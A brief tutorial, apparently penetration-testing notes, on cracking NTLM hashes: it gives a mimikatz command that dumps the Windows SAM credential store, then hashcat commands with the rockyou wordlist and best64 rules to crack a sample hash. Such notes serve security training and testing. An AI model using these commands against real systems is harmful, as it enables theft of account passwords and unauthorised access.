Cracking NTML Hash

Let's assume that we have dumped HASH using below command.

.\mimikatz.exe "privilege::debug" "log" "token::elevate" "lsadump::sam" "exit"

Cracking NTML Hashes Steps:

Step 1: Store hash

Store hash in a file.

echo '3ae8e5f0ffabb3a627672e1600f1ba10' > nelly.hash

Step 2: Check Hash mode and crack it

you can check hash mode from ⬇️

example_hashes [hashcat wiki]hashcat.net

Craft hash cat comamnd and crack the hash. (You can use any rule)

hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Step 3: See cracked value (If cracked)

hashcat -m 1000 nelly.hash --show